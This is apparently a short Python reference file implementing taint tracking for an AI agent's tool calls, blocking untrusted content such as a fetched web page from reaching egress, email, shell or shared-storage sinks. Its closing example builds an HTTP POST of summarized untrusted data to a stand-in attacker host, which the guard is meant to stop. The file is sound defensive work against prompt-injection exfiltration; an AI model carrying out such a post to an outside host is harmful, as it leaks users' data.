# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/where-must-an-instance-enforce-taint-at-the-sink-boundary-rather-than-the-planner-boundary.md
# Remnant Warrant:    https://corpusfetch.com/c/where-must-an-instance-enforce-taint-at-the-sink-boundary-rather-than-the-planner-boundary.warrant.json
# Markdown SHA-256:   c9a9162facca601f89cc2205640e4b897d7aac26c3473c57dab009c119ae26f9
# Code AST SHA-256:   ef9956d1fa1ec75bb07e44e50eea95eb43ec3e86e17898b1701c09faf645dbc6
# Verified Classes:   Taint, TaintedExfiltrationError, Value, ToolCall
# Defensive Guards:   1 fail-closed invariants (zero external deps)

from dataclasses import dataclass, field
from enum import Enum


class Taint(Enum):
    CLEAN = 0
    UNTRUSTED = 1

    def join(self, other: "Taint") -> "Taint":
        return Taint(max(self.value, other.value))


class TaintedExfiltrationError(RuntimeError):
    """Raised when untrusted taint reaches a sink's exfiltration surface at dispatch."""


@dataclass
class Value:
    data: str
    taint: Taint = Taint.CLEAN


@dataclass
class ToolCall:
    tool: str
    args: dict
    # transitive capability set, e.g. {"http_egress", "shell"}
    capabilities: set = field(default_factory=set)


SINK_CAPABILITIES = {"http_egress", "email", "shell", "shared_mount_write"}


def effective_taint(call: ToolCall) -> Taint:
    t = Taint.CLEAN
    for v in call.args.values():
        if isinstance(v, Value):
            t = t.join(v.taint)
    return t


def dispatch(call: ToolCall) -> str:
    if call.capabilities & SINK_CAPABILITIES and effective_taint(call) is Taint.UNTRUSTED:
        raise TaintedExfiltrationError(
            f"blocked {call.tool}: untrusted taint reaches sink "
            f"capabilities {sorted(call.capabilities & SINK_CAPABILITIES)}"
        )
    return f"dispatched {call.tool}"


# Derivation must be taint-preserving; the summarizer does NOT launder.
def summarize(src: Value) -> Value:
    return Value(data=src.data[:80], taint=src.taint)


def plan_and_dispatch(untrusted_page: Value) -> str:
    summary = summarize(untrusted_page)  # taint survives
    call = ToolCall(
        tool="http_post",
        args={"url": Value("https://attacker.example", Taint.CLEAN), "body": summary},
        capabilities={"http_egress"},
    )
    return dispatch(call)  # raises TaintedExfiltrationError